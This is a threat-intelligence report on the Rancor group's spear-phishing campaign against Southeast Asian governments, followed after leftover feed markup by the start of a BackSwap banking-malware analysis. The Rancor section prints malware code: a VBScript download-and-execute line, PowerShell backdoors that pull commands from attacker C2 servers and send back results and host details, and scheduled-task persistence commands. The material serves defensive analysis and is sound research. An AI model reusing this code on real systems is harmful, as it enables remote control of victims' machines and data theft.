\n

Earlier this year, Check Point researchers identified a targeted and extensive attack against Southeast Asian government entities over the span of 7 months. The attackers, which we believe are members of the Rancor threat group, used classic spear-phishing to reach their victims, but have invested many of their efforts into making the e-mails and lure documents appear as convincing as possible, and by changing their TTPs over time.

\n

Rancor is a threat group active since at least 2017, and was previously observed carrying attacks Singapore and Cambodia, which are believed to be espionage motivated.

\n

In this report, we will provide a deep dive analysis of the initial attack methods, infrastructure, and artifacts used against the targets in the latest campaign we discovered and attributed to this group. In addition, we will share some insights that might indicate the Rancor APT group is of a Chinese origin.

\n

 

\n

Main Findings

\n

The observed attacks started with e-mails sent on behalf of employees from different government departments, embassies, or government-related entities in a Southeast Asian country. The attackers appeared determined to reach certain targets, as tens of e-mails were sent to employees under the same ministries. Furthermore, the e-mails’ origin was likely spoofed to make them seem more reliable.

\n

\"\"

\n

Fig 1: Main findings

\n

Infection Flow

\n

This extensive persistent campaign, which was ongoing for more than 7 months, continued to evolve over time, mutating its TTPs, which at times even appeared unrelated until extended analysis. Though hundreds of files were involved in these attacks, the following flow-chart summarizes the better part of the possible attack combination observed throughout the campaign:

\n

\"\"

\n

Fig 2: Infection flow

\n

Decoy Documents

\n

The delivery documents relied on macros and known vulnerabilities to run malicious code on the infected system. What was most interesting about them, however, was the decoy content they used. Most of the documents contained legitimate government-related topics, such as instructions for governmental employees, official letters, press releases, surveys, and more.

\n

Example:  

\n

\"\"

\n

Fig 3: Legitimate looking decoy document

\n

Clusters of TTPs

\n

Analyzing the timeline of the campaign uncovered 8 major variants of TTPs (delivery, persistence and payload) in different combinations. Each mini-campaign was not limited to a single target, and the attackers went after multiple government entities simultaneously, using the same TTPs. Below is a summary of each such cluster, and the time range in which it was observed:

\n

 

\n
1st Cluster: December 2018
\n

\"\"

\n

Fig 4: 1st cluster infection chain

\n

The earliest documents observed on December 2018 and attributed to this campaign contained a short macro that executed the value found under the Company field in the document’s properties:

\n

\"\"

\n

Fig 5: Commands hidden in the document Metadata

\n

The command in the Company field saves a VBScript file to the temp directory, and schedules a task to run it every two minutes. The VBS file simply downloads a second-stage MSI payload from the attacker’s server and executes it using msiexec:

\n

Set a=CreateObject(\"Wscript.Shell\"):a.Run \"msiexec /q /i https://p=/45.125.65[.]76/abc\",0

\n

The MSI payload (c96c01df9d7eeb60258dcf8ce2ccbb2e78bb5f87) was created using the Advanced Installer tool, which allows wrapping a PowerShell script into an MSI installer. This script receives instructions from the C&C server, and uploads the execution result along with the user machine information:

\n\n
try{\n    $client = New-Object System.Net.WebClient;\n    $parameters = New-Object Collections.Specialized.NameValueCollection\n    $commandurl = 'https://45.125.65[.]76/postval/sea.txt'\n    $command = (New-Object System.Net.WebClient).DownloadString($commandurl)\n    $cmdDecode = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($command))\n    $rtn = Invoke-Expression $cmdDecode | Out-String\n    $rtnBase = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($rtn))\n    $parameters[\"comname\"] = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($env:USERDOMAIN + \"\\\\\" +$env:COMPUTERNAME))\n    $parameters[\"id\"]= $rtnBase\n    $client.UploadValues(\"https://45.125.65[.]76/postval/postval.php\",$parameters)\n}catch\n{}\n
\n\n

By the time we discovered this sample, the C&C was unreachable and we were unable to download the final stage payload, but looking at other files that were hosted on the same C2, led us to a related DLL (70bdce0f974dd0faac5684e6ca0b3476b8a12564). This DLL acts like a loader and tries to download an additional DLL file from www.chinhphumofa.esmtp[.]biz and execute the RunningThread function (later referred to as RunningThread Loader).

\n

 

\n
2nd Cluster: January, March 2019
\n

\"\"

\n

Fig 6: 2nd cluster infection chain

\n

During January and March, the attackers introduced new macro code and the intermediate MSI stage was removed. The Document_Open function in the macro contains base64-encoded blob which is decoded and saved as a .js file. This time the command to create a scheduled task is executed from the Comments property of the document, and it tries to add the same task with two different permissions, thus making sure that the inserted task would utilize the higher permissions if available:

\n\n
cmd /c schtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /F & \nschtasks /create /sc MINUTE /tn \"Chrome\" /tr \"C:\\Windows\\Tasks\\Chrome.js\" /mo 2 /RU SYSTEM\n
\n\n

The Chrome.js file contains a PowerShell backdoor similar to the one in the previous version. In both scheduled tasks, the name, filename and URL patterns of the C&C communication are trying to mimic Google Chrome updates:

\n\n
$r=[System.Net.WebRequest]::Create('https://154.16.37[.]122/GoogleUpdate/Update.php');\n$resp=$r.GetResponse();\n$respstream=$resp.GetResponseStream();\n$sr=new-object System.IO.StreamReader $respstream;\n$Cmd=$sr.ReadToEnd();\n$Cmd=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Cmd));\n$cmdOut=Invoke-Expression -Command:$Cmd|Out-String;\n$ReCmd=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($cmdOut));\n$uuid=Invoke-Expression -Command:'wmic csproduct get uuid'|Out-String;\n$Reuid=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($uuid));\n$Pusl= 'https://154.16.37[.]122/GoogleUpdate/Google.php?Mac=';\n$Pusl=$Pusl+$Reuid;\n$Pusl=$Pusl+'?Data=';\n$Pusl=$Pusl+$ReCmd;\n[System.Net.WebRequest]$webRequest=[System.Net.WebRequest]::Create($Pusl);\n$webRequest.Method='POST';\n$webRequest.GetResponse();\n
\n\n

Similar URL patterns were seen throughout the campaign.

\n

 

\n
3rd Cluster: April 2019
\n
\"\"
\n

Fig 7: 3rd cluster infection chain

\n

In the next wave, the attackers added documents that exploit known vulnerabilities in MS Equation Editor to their arsenal. The documents are created using the known 8.t RTF weaponizer. As soon as the malicious RTF document is opened, the exploit triggers the execution of the 8.t payload, creating two additional files: C:\\Windows\\tracing\\OneDriveApp.vbs and C:\\Windows\\tracing\\OneDriveApp.ps1. As in previous stages, the PowerShell payload has the same functionality to communicate with the C&C, and depending on the sample mimics different Google or Microsoft applications.

\n

 

\n
4th Cluster: May 2019
\n

\"\"

\n

Fig 8: 4th cluster infection chain

\n

The attack is carried by RTF documents with the same MS Equation Editor exploit builder that was used before. Upon execution, it drops two files into the temp folder: wsc_proxy.exe and wsc.dll. wsc_proxy.exe is a legitimate Avast Antivirus executable. Using DLL side-loading, the malicious payload wsc.dll is started.

\n

The wsc.dll itself is a loader for another DLL executing the RunningThread exported function (the same function name from cluster 1). This infection chain was previously described by @sebdraven.

\n

DLL side-loading is widely used to evade security programs that monitor the behaviors of executed files: some of them are white-listed, signed or trusted files, which thereby might lead to the exclusion of malware loaded by these files from behavioral monitoring. 

\n

 

\n
Clusters 5-8: May-June 2019
\n

\"\"

\n

Fig 9: 5th-8th cluster infection chains

\n

During the months of May and June, Rancor continued to introduce new infection chains that are visualized above. In one case, the attackers turned to Cobalt Strike Beacon as their second stage payload. In another case, where the Bitdefender legitimate executable was used, it was downloaded from a GitHub account possibly created by the attackers specifically for this campaign: https://raw.githubusercontent[.]com/watchdogmanoo/watcherdog/master/WatchDog.exe.
When DLL side-loading was used, the malicious DLL was in charge of downloading and executing two additional plugins internally named as “nbf.plugin” and “nbs.plugin”.

\n

\"\"

\n

Fig 10: GitHub repository used to serve a legitimate Bitdefender executable

\n

 

\n

Connecting the Clusters

\n

Besides going after the same government targets, we observed a lot of similarities between the different clusters we detailed above. Overlapping indicators:

\n\n\n

Below is a visualization of the connections we found between the different clusters:  

\n

\"\"

\n

Fig 11: Maltego graph – connecting the clusters

\n

 

\n

Attribution by Infrastructure

\n

Zooming in on the infrastructure connection, we see that the first and fourth versions of the attack (clusters 1 and 4 in the diagram below), can be connected via multiple passive DNS hops, or by a Rancor Loader to the C&C domain www.chinhphumofa.esmtp[.]biz, which in turn can be connected via passive DNS resolution to the originally reported Rancor C&C domain: www.microsoft.https443[.]org    

\n

\"\"

\n

Fig 12: Maltego graph – infrastructure connecting to previous campaign

\n

 

\n

Attribution by Artifacts

\n

Searching for MSI files which encapsulate PowerShell code (as was described in Cluster 1), led us to a sample that communicated with the IP address 199.247.6[.]253 which is a known C&C used by Rancor group:

\n

\"\"

\n

Fig 13: PowerShell code connecting to Rancor

\n

Another similarity to the previous campaign is the creation of scheduled tasks by running the command schtasks twice to gain execution with SYSTEM privileges if possible. In both cases the scheduled task was set to execute every 2 minutes:

\n

\"\"

\n

Fig 14: Similarity in schedule task creation technique

\n

Finally, as in the previous campaign, our campaign utilized similar macro code technique in the delivery documents, in order to execute the shell command stored in the Company metadata of the document:

\n

\"\"

\n

Fig 15: Similar macro code

\n

Chinese Artifacts

\n

As Rancor was not strongly attributed to any origin as of yet, we would like to offer some insights which might give us indication that we are looking into a Chinese threat group.

\n\n

\"\"

\n

Fig 16: Chinese metadata 

\n\n

Fig 17: Activity graph

\n

Anomalies

\n

During our analysis, we noticed an interesting sample which might indicate some connection in activity between this Rancor campaign and the previous activity by the Goblin Panda group (AKA 1937CN by some vendors). The sample b49c148db0b4eec53815dd1a2630c63d25cda78e (found on VirusTotal) is an RTF document created by the aforementioned 8.t exploit builder, but utilized a loader which is attributed to the Goblin Panda group. The interesting part is that the metadata of the RTF file in question exhibits the same unique Last Modified By information as we’ve seen in our Rancor campaign — “AntiSec”.

\n

\"\"

\n

Fig 18: Anomalous metadata

\n

Conclusion

\n

Rancor group, which was previously spotted attacking Cambodia and Singapore, continued its targeted attacks against entities within the Southeast Asia region, this time concentrating 7 months of efforts on the Southeast Asian government sector. Dozens of emails sent from government officials and containing politically-themed decoy documents were supposed to trick victims into opening them and loading malicious components providing full access to victims’ machines. During our research we uncovered multiple leads fortifying the assumption that the Rancor group activity is indeed of a Chinese origin. We expect the group to continue to evolve, constantly changing their TTPs in the same manner as we observed throughout the campaign, as well as pushing their efforts to bypass security products and avoid attribution.

\n

 

\n
\n

Check Point’s SandBlast

\n

The malware used in this attack was caught using Check Point’s Threat Emulation and Threat Extraction.

\n

Threat Emulation is an innovative zero-day threat sandboxing capability, used by SandBlast Network to deliver the best possible catch rate for threats, and is virtually immune to attackers’ evasion techniques. As part of the Check Point SandBlast Zero-Day Protection solution, Threat Emulation prevents infections from new malware and targeted attacks. The Threat Extraction capability removes exploitable content, including active content and embedded objects, reconstructs files to eliminate potential threats, and promptly delivers sanitized content to users to maintain business flow.

\n
\n

 

\n

Appendix A: IOCs

\n
First Cluster:
6958aed4327b96ca39a159f05843a7282a2e72ba
c829f5f9ff89210c888c1559bb085ec6e65232de
8d522e4b63a53434753ce2c58de117878b084dba
b9e8b12f6eca8e32e9aa130f8e951fa24d9bcbec
c96c01df9d7eeb60258dcf8ce2ccbb2e78bb5f87
0d0d9e9530564099b8a95b69f99c67106d3a72ad
70bdce0f974dd0faac5684e6ca0b3476b8a12564

Second Cluster:
000fb43948d7e6ea7d1041881379561885188949
8c7dc8b65cd20bf957f60e75bf82f159d5cc981d
4326fdf22247c7eab0221a98211ee79c8af9ee7a
6ad2ef8308129b707095b31ca96283722ac71d6a
e188cd6d0bfcbb3275a262bc37eaa9f075a0b3d7
f7125efb572709fd7d4eceb8a7c5de5c890f49aa
d86f7399f3351a03c4e5a3cdd304da3e90d05fed
ac2a35a0d37c19a5c56271ed44988f91c80d8ef3
5eae3c70b02eeb2a91983c13edddaeb48193f3a4
74beb05224a77e64a14f68a65f04360cf18b7713
9217f8765a9bc7ce0a9fb152676ae3560b125a86
00465447fa8c3983f338c65e39107135ca933056
2cd13060a764947d65e528a36fa11035845be093
be335975f80be895d097782aa4b81cc23fbc7316
80514dba1f2bb7c1e71710a566081edf70c2d852
16212af7b47ba999586e88a7979040f72e8184a3
b13615a101657cbe05a770b98a21382643c4173a
0c5534b7bb87559cf9521be9fe1e0e61ddd9819a
1e320275c04ed96d6716ddf4c7209f7bfe870164
f35ca93c8880099ebec532493b2cea2f19d24fb7
ab3e0a764699403d3032f7dbe2bea599eb64504b
0ee328ee207b54f166fb637b781869e90a946119
160843ec8adf065a8bd0d48558e545a64f2937a6
74619159e998322a5805cf79c355fd0b4d65c0b1
1e65dae984602b8036106e090a7effb19010348a
29f9fd59333c2893e3be6f9fe842534494a19e45
290842a691e5b265aaf456851ae6d26c592247d1
8ec0d00e755b4b7fb8a5432f3ac8de84742254b6
bdedd1150d44518e250f4443b540ae38a41bb845
38bd426f6871d6f56ff80173494b7dfd46bb2d61
262cd6693d63a23f0434c954a1c932e6a6ca97a8
21921b227f74e897b86de66cbd794bd8f7bc25f2
f4a84c140346f97bdf9eb2febf7af2b56a584a10
0a03cefc05f979128a1a81359053e649510e696d
8e3353d79dbd694ca937e5cf62f097b4c7bc7993
13f6e0498d916764b2bd4c6887b283295bfd8522
6517f1828a5079975cfd8c7fd4716e0019c88104
d32c866ad2f5d3f0da9b1dc2d1e34a6a182784d1
665484db82d3a292597c3c2c0f052dab0470f8d3
35867c8615249b6bac3048be007683228224647a
191e6e067fce20d175600dffcde317e5db832795
3b55440f396b9c688c1724181e1780098c95bddc
e4d8c33317c11d46f7f951e229b5375d4b2bd8b1
4436c49e0e2c4b2214a8da5026069dae4c69f93e
d6e1fc8f371a7382b6995eba5f4cf6111bd95a32
a0fde9cdf027f5542a0215f9a18bed7f1a448736
01bbd9d36e440a1cab340cecf8735cc0e15e1ba4
0159cb4c53403af8658d79ff6ec753496ba4f4ed
2693d094a168d43de96303936542e84271ad8387
29f478065cb20805466dd08d600aebcd512ddcef
4b773753fddef2306cd9a6b94e5fef58c6adefef
5635bc996903b066f97ef91a5211bb5081d93f43
74046ebec592600efeab4e10bc84d0c16f5eace6
a7d9d9da7a743f47d82df9772ff317edb1f31160
c2ccbbffbb64e2e1f973a02ccbcc974014e885da
4b5ceddc05aa9256c81e4311214a8da1516f6f7f
a32aac2623bcb6dfa7e8ac3cf63bca68bc93ed7a
98ddd45f953a932f5dcc0f9009b3c4b21fc5d63e

Third Cluster:
e478f27da2ca890a2c65e3b32c0488e2084424f9
f95ae679aacfb9d64a3c6ec0b3642623fb5d1c28
a453eb9fe08427cddb01149d20609810c7e52e43
2dd09441795e4f4e7a4e3fc0dfaa33995fac525a
af018c7b14bcff05876cf76a1280680290db6367
ff11d9f8d781b6b3a786ab80f1ce59e7dfd65276
d3ae9caa678754631aed1c82c409b5d43a0a9c80

Fourth Cluster:
c39a9f4ca8075a22e82f3fbc265f9a5dda447b9f
c3738fecfb9cf5bd5ddff8c63c3dcf8056a05804
d7b420832bb7c61d075097ee011ed2765096e7a5
b32251aa7d08718774c8fc30af698de8cfebf142
b05d367d0ae1022d53926c052c9bfd8cb62745cc
6e670a837970a1fb4161d77d5f720d318d7e4dbc
0cc975ad5715d156a206d5b3f333b904714e03cb
7b2823157014e9f2eb346ab77c036a303d295922
47cab36ffcf01caaf0dbbcae272e665da2e30bc6
4855cf922ec6674ca6cd87e3989c24f6ce1b2e8b
bfc19afe6e5b6e6623e6ebb9d4998cc04c079513
de0a7e5da69c1ed781c34445d08f892afe53547f
181d466454d66a86cc2cf628b5861b7595f6bc37

Fifth Cluster:
734c00ec4489e1c5836bd3e28d8e815baae097f8
63b7617e36c70acf3dfcaecf08ca01a77c94a793
f1261dbb1c4226a78a254d0ddc51217a596ef264

Sixth Cluster:
bbf62941a569553ff079a3d8c2dcdeea2f965dbb
d71149c66796094bb7d0b39eb88cb9f64c4ed92f
a521ae445190e366c5c9656d75e32e1aa27f2681

Seventh Cluster:
f65bcebb76061b79cbac90005a6d409c08182f16
86969ecb7c110f4b8db6185c63e24f852ef6aed2

Eighth Cluster:
d15bb371c9607b351321e159ea4b90b853570427
7ec2e15f8f92f2602f2d573cc3abddbba3b22676

Hijacked DLLs:
dcaae20d1593699fbe7be1853468a0ea1a49847f
47cab36ffcf01caaf0dbbcae272e665da2e30bc6
4855cf922ec6674ca6cd87e3989c24f6ce1b2e8b
bfc19afe6e5b6e6623e6ebb9d4998cc04c079513
6f5c61d7e5af72410465872f6e7356a5b928bfa6
ac8e51800be46a42b5ad83b207b8ea9b3e8eac70
108bcb364b937a5c0b867784e21f19656ecce88d
de0a7e5da69c1ed781c34445d08f892afe53547f
181d466454d66a86cc2cf628b5861b7595f6bc37

CobaltStrike Loader:
e92d36a2d3f1cb4ac8ce9321869ab2e85d9525da

C&C Cervers:
charleseedwards.dynamic-dns[.]net
www.sfstnksfcv.jungleheart[.]com
oui6473rf.xxuz[.]com
vvcxvsdvx.dynamic-dns[.]net
kibistation.onmypc[.]net
www.754d56-8523.sexidude[.]com
nicetiss54.lflink[.]com
dsdfdscxcv.justdied[.]com
www.dsgsdgergrfv.toythieves[.]com
185.234.73[.]4
154.16.37[.]122
152.89.161[.]19
45.125.65[.]76
","status":"PUBLISHED","fileName":"//research.checkpoint.com/wp-content/uploads/2019/09/Rancor_blog_1021x580-300x170.jpg","link":"https://research.checkpoint.com/2019/rancor-the-year-of-the-phish/","tags":[],"score":0.3340696096420288,"topStoryDate":null},{"id":"RS-20030","type":"Research_Publications","name":"The Evolution of BackSwap","author":null,"date":1543597577000,"description":"The Story of An Innovative Banking Malware Research By: Itay Cohen   Introduction The BackSwap banker has been in the spotlight recently due to its unique and innovative techniques to steal money from victims while staying under the radar and remaining undetected. This malware was previously spotted targeting banks in Poland but has since moved… Click to Read More","content":"

The Story of An Innovative Banking Malware

\n

Research By: Itay Cohen

\n

 

\n

Introduction
\n
The BackSwap banker has been in the spotlight recently due to its unique and innovative techniques to steal money from victims while staying under the radar and remaining undetected. This malware was previously spotted targeting banks in Poland but has since moved entirely to focus on banks in Spain. The techniques used by it were thoroughly described by our fellow researchers at the Polish CERT and Michal Poslusny from ESET, who revealed and coined the malware’s name earlier this year. However after witnessing ongoing  improvements to its malicious techniques we decided to share this information to the wider research community.

\n

In the following research paper, we will focus on the evolution of BackSwap, its uniqueness, successes, and even failures. We will try to give an overview of the malware’s different versions and campaigns, while outlining its techniques, some of which were proven inefficient and dropped soon after their release by the developers. We will also share a detailed table of IOC and a Python3 script used to extract relevant information from BackSwap’s samples.

\n

BackSwap Overview
\n
Banking malware is not a new phenomenon. Zbot, Gozi, Dridex, Carberp and other notorious banking trojans took advantage of the embracement and the increased use of the internet for issuing bank transactions, and made good profit from it. For years, these malware families found advanced and sophisticated ways to steal bank credentials and credit card details from innocent victims, and abuse this information for stealing money. In response to this, the security industry, as well as web-browser companies such as Google and Mozilla, fought back with better security mechanisms and detections.

\n

Most banking malware steals money by injecting their code into the memory of the victim’s browser. This code would in turn hook the appropriate communication functions in the browser, so as to intercept any private banking data. This data would then be issued to the attacker via some protocol of exfiltration. This approach has proven to be quite complex and unstable, as the injected code must be adapted to each target browser. Moreover, the attackers have to keep track of the fast and ever-changing code of modern browsers, which is indeed a challenge.

\n

This, among other reasons, could explain what seems to be a decrease in the popularity of banking malware. Indeed we have seen a lot of the aforementioned banking trojans replaced with far more lucrative and profitable malware families, crypto miners and ransomware are good examples to name a few. This set a perfect scenario for the appearance of BackSwap, which is unique in it being both simple and yet effective in stealing banking credentials.

\n

BackSwap is written in assembly as position independent code, which hides itself inside a big set of popular and legitimate software. Some examples for this are programs like 7-Zip, FileZilla and Notepad++. On the surface, the executable for this programs look innocent, but in fact they are bundled with code that was meticulously implanted by the attackers, and is not evident at first sight. This code is what will eventually execute when the user launches any of the aforementioned applications, while the real legitimate code will never run.

\n

This payload described above can be found in arbitrary places inside the original program, such that it  overrides very particular chunks of the original code. This method is used for the purpose of diverting the execution of the legitimate code to a compact piece of shellcode that constitutes the malware’s logic. This latter code is very small in comparison to the size of the original program, thus further complicating the ability to detect it by security tools and endpoint products. Such systems would scan only chunks of the binaries they deal with, which gives way for Backswap to hide deep within code that will otherwise not be flagged as malicious.

\n

The method of diversion mentioned above demonstrates a level of creativity that is not common in banking malware, and would more likely be spotted in targeted attacks and APT campaigns. In this technique, the developers modified some C runtime initialization code, usually bundled to the executable by the compiler, which usually appears as pieces of code that execute prior to the program’s main function. In particular, they hijacked a piece of code that initializes internal data structures by invoking a set of callbacks from a predefined function pointer table. This table (used by the __initterm() function from CRT) is added with an additional pointer, that will in turn cause the C runtime to invoke the malware’s code before executing the original program.

\n

After the initialization code transfers the execution to the malicious code planted by BackSwap, the latter would either allocate a dedicated memory space for the final payload, would sometimes create a new thread or would simply divert the instruction pointer to the final payload. As mentioned earlier, this payload is entirely written in assembly and invoked as position independent code. Such code can be executed anywhere in the memory, regardless of its base address. Since this code cannot assume where it would be located, it uses relative addresses, jumps, and indirect calls instead of hard-coded memory addresses. Writing a whole malware in this fashion is not trivial, nor easy to write, or analyzed by researchers. Even though BackSwap’s position-independent payload went through several major changes and improvements in the last year, the developers did not drop this technique and have stuck to it since the very first variant, which may signify its effectiveness.

\n

One of the things that caught our attention, and was also mentioned in the publication by the Polish CERT, is how BackSwap uses its hard-coded strings. Unlike regular programs where strings are most likely to be found in read-only data sections, PIC code has to handle it differently. In particular, BackSwap uses a rare technique where the strings are not separated from the code but reside as integral part of it, such that whenever BackSwap wants to push a string to the stack (e.g in order to pass it as a function argument), it is placed inline with the code right after a CALL instruction to the address that follows the end of the string. Thus, when the call is invoked, the subsequent address to the instruction pointer’s value is saved in the stack, and this address would point to the inlined string. To clarify this method we can look at the following pseudo assembly code that prints “ABC” using printf:

\n

0x00      e8 04 00 00 00     call 9
\n
0x05      41 42 43 00        ; string \"ABC\" len=4
\n
0x09      e8 f1 f1 ff ff     call _printf

\n

Using strings inside a code isn’t trivial and many disassemblers, like IDA Pro, can’t handle it correctly. Radare2, or its graphic-user-interface program — Cutter — can handle this quite well, and treat the strings as part of the function, as can be seen in the image below.

\n

\"\"

\n

Figure 1: Call-over-string technique as shown in Cutter

\n

 

\n

Because of BackSwap’s position-independent nature, it can’t rely on the Import Address Table to retrieve the addresses of common Windows API functions. Instead, it uses a common technique, used mostly in injected code, whereby the PEB structure (Process Environment Block) is processed in order to find the list of loaded modules, from which the address of kernel32.dll can be retrieved. Then, by parsing the PE structure and locating the `LoadLibraryA` API functions, BackSwap loads more DLLs, the names of which are hardcoded in it.

\n

In order to load all the functions that are needed for its execution, BackSwap creates an uninitialized table with hardcoded hashes of function names. It then iterates over all the export functions of the loaded libraries and calculates a hash number for each function name. These function names are compared to the precalculated hashes in the table and if there is a match, BackSwap fills the address of the corresponding function in its table. This way, BackSwap implements and builds its very own Import Table in run-time.

\n

\"\"

\n

Figure 2: PEB parsing and detection of kernel32 base address from one of the loaded libraries lists

\n

 

\n

After initializing all the crafted table with all required function addresses, BackSwap begins to prepare the ground for its core functionality – stealing credentials and money from its victims. First, it checks if another instance of itself is already running. It does so by using a technique which is similar to checking the existence of a Mutex in the system. Namely, it determines if a Windows event object which has the name pattern `<USERNAME>-<COMPUTERNAME>` already exists. If so, the malware will terminate the execution, as it infers another copy is running in the system.

\n

Depending on its version, and following the above check, BackSwap would create several threads and setup event hooks for a range of events using the `SetWinEventHook` function. Although there are some changes in this behavior between different versions of the malware, the essential logic is the same – the hooked events are intended to intercept activity that occurs with relation to window applications across the computer. Some of the hooked events can be seen below.

\n

0x8005 EVENT_OBJECT_FOCUS
\n
0x8006 EVENT_OBJECT_SELECTION
\n
0x8007 EVENT_OBJECT_SELECTIONADD
\n
0x8008 EVENT_OBJECT_SELECTIONREMOVE
\n
0x8009 EVENT_OBJECT_SELECTIONWITHIN
\n
0x800A EVENT_OBJECT_STATECHANGE
\n
0x800B EVENT_OBJECT_LOCATIONCHANGE
\n
0x800C EVENT_OBJECT_NAMECHANGE
\n
0x800D EVENT_OBJECT_DESCRIPTIONCHANGE
\n
0x800E EVENT_OBJECT_VALUECHANGE

\n

 

\n

Upon each event interception, the triggered hook function would search for a URL starting with `https` in the information gathered from the hooked events. In newer versions of BackSwap, if a URL was found, the malware will in turn decrypt a resource from its .rsrc section which turns out to be its web-injects, a piece of javascript code that is injected to the internet browser in order to manipulate objects in pages visited by the user. This code will be parsed, and the found URL would be checked to see if it matches one of the banks targeted by the malware.  

\n

The approach taken by BackSwap to insert the javascript code in to the browser is simple, yet unique and powerful. Instead of injecting code straight to the browser’s memory, the malware mimics a user interaction with the browser’s window by sending keystrokes to it. Namely, It opens the browser’s Developer’s Tools or sets the focus to the URL bar and pastes the malicious javascript by faking a press on Ctrl+V. This unique way will go under the radar of many security tools because it is hard to tell the difference between this and a legitimate user interaction. Different versions of BackSwap interact differently with the browser and we will describe these differences later in the article.

\n

The content of the javascript web-injects is the component of BackSwap that changes most often across versions and samples. Obviously, it has to be unique for each targeted bank, but Backswap does an extra mile in changing what the javascript does, how it would manipulate the victim’s browser to send money to the criminals and how it will pass the stolen credentials to the C&C server.

\n

One of the threads created by the malware will loop infinitely and check if the javascript web-inject passed any credentials to send to the C&C. It could be either by saving the stolen information to the clipboard or by changing the window’s title. Once again, These techniques of sending information from the JS to the binary differ between versions of BackSwap, and will be discussed with more detail later on.

\n

\"\"

\n

 

\n

BackSwap Evolution
\n
During the past few months we have tracked hundreds of Backswap samples and were able to observe many changes amongst them. By inspecting all this data, we could sort the samples into groups and note the changes and modifications in the malware’s behavior from its appearance in the wild to present time.

\n

Early Versions
\n
The first samples of BackSwap were spotted at the middle of March 2018 and, naturally, is considered the simplest in its evolution. These samples almost did not contain any measures to complicate the analysis of the payload, which was inserted as-is to the original program (Mostly 7-Zip but also WinGraph and SQLMon). For this reason, a lot of the malware’s strings, including targeted banks and browsers, were all visible. Hence, it was possible to infer that the targeted banks were all Polish and each sample inspected was targeting between 1 and 3 banks. The most common targeted bank sites in these samples were ipko.pl, 24.pl and mbank.pl.

\n

Another characteristic of this initial version is that it kept an encrypted resource for each one of the banks it targeted, where the encryption method used was a simple singly byte XOR with the value 0x9. Its interesting to note that while this method is very weak from a cryptographic standpoing, BackSwap keeps using it to this day. The web-injects code itself was also quite straight-forward, and contained the placeholder ‘xxxxxxxxxxxxxxxxxxxxxxxxxx’ that was set by the malware to hold an IBAN for stolen money transactions. Whenever the victim entered one of the targeted banking websites and wanted to perform a transaction, the web-inject code would replace the target IBAN with the aforementioned one, thus transferring the money to the attackers instead of the real intended recipient.

\n

A month later, in April 2018, more banks were added as targets, and some of the samples contained up to six different resources in a single binary. The Javascript implementation of the web-injects code improved and contained a new way for it to interact with the code in the PE binary, using the title of the browser’s window. The shellcode checks for changes to the text in the title of the browser and grabs the information which is sent to it but the WebInjects. Additionally, a background thread in the malware’s PE took any stolen information and stored it in a log file on the computer, which was later sent to a C&C server.

\n

In the middle of April, BackSwap began to create fake input objects in the DOM of the targeted websites. These fake input fields look exactly like the original ones, But while the users fill the fake fields, the original fields are now hidden and contain the attacker’s IBAN. This change in BackSwap was thoroughly presented and demonstrated by F5 in this article. At the same time, the malware started to abandon a former injection technique whereby the victim’s browser was opened to the developer’s tools utility, where web-injects code would be pasted to alter the current page. Instead it moved to a technique where the malicious javascript would be pasted in the URL address bar.

\n

At the end of April, BackSwap started using another XOR key for the first time in order to encrypt its resources, this time it was 0xb. This type of change has promptly become typical for BackSwap, to the extent that we were able to spot eight different encryption keys in May. In fact, all recent samples come with a distinctive key. However, as noted before, it still uses a single-byte XOR which is a weak encryption method.

\n

Apart from the change in XOR key, the authors also moved the IBAN to be hardcoded in the web-injects javascript, as opposed to the binary where it previously resided. This persisted  through most of the samples in May, where some had additional names appended, which most likely correspond to money mules that participated in the operation.

\n

 

\n

\"\"

\n

Figure 3: Hard-coded information of a money mule.

\n


\nThe web-injects in May also presented a new function named `copyStringToClipboard` which was responsible for copying a given string to the clipboard, as the name suggests. This string contained stolen information that was filled by the victim and was picked up by a thread in the malware’s PE that read and processed it.

\n

Additionally, in the same month BackSwap began tracking the number of infected machines, which was done by sending an HTTP request to a popular Russian website, yadro.ru, that tracks hit-counts for websites. This method is very simple and effective for collecting victim telemetry from the attacker’s site, as it’s hard to flag by security products, with the target site for collection of this data being legitimate.

\n

Encrypted Payload Inside a BMP Image
\n
June 2018 was a significant month for the evolution of BackSwap, in which the developers introduced a unique technique for payload encoding that wasn’t described before in relation to BackSwap. In this technique, the PIC described before is encrypted, and embedded inside a BMP image, taking advantage of a unique characteristic of the BMP header.

\n

\"\"Figure 4: First image to introduce embedded position-independent code

\n

 

\n

The magic header of a BMP file is 0x42, 0x4D which corresponds to “BM” in ASCII. This pair of hexadecimal numbers happens to also be valid x86 instructions. The following screenshot from radare2 will demonstrate this interpretation of the bytes.

\n

\"\"

\n

The criminals behind BackSwap took advantage of the BMP header in order to make the code look more innocent. After the execution of these dummy instructions, there is a JMP instruction to an address that starts the decryption routine of the PIC as can be seen in the following screenshot. The decryption routine is quite simple and can be easily analyzed.

\n

\"\"

\n

While the first BMP image was rather abstract and hard to understand, the subsequent ones turned out to be meaningful and based on real images, either from the internet or created by the attackers. The first example to show up is an image from a famous scene in Al Pacino’s famous movie “Scarface”.

\n

\"\"

\n

The first sample with this image also contained a change in how BackSwap’s web-injects interact with the PE binary. The previously described technique where a window’s title was changed to convey information was removed, leaving the clipboard as the single entity for communicating with the malware’s code in the PE binary.

\n

Recent Versions
\n
The biggest respite in BackSwap’s activity was in July 2018. We detected almost no activity in its development as well as its distribution and estimated that some major improvements were likely to arrive. Indeed, In August 2018 we were provided with new samples that signified a particular turning point for the malware as we could observe some new changes in it.

\n

First, it shifted its malicious operation to focus almost entirely on Spanish banks while totally abandoning any previously targeted Polish banks.

\n

\"\"

\n


\n
Figure 5: Some of the Spanish and Polish banks that are targeted by BackSwap

\n

 

\n

Except for the targets, BackSwap changed the way it stores its web-injects. Instead of keeping it in different resources for each targeted bank, as it did before, it aggregated all of them into a single resource, such that each web-inject code snippet was delimited by a particular separator keyword. During August we detected two such separators being used, the first one was “[start:]” and the second “[fartu:]”. Moreover, the targeted bank sites were not stored in the malware’s PIC anymore, but in the web-inject code itself. An example for this new form of web-injects can be seen below.

\n

\"\"

\n

 

\n

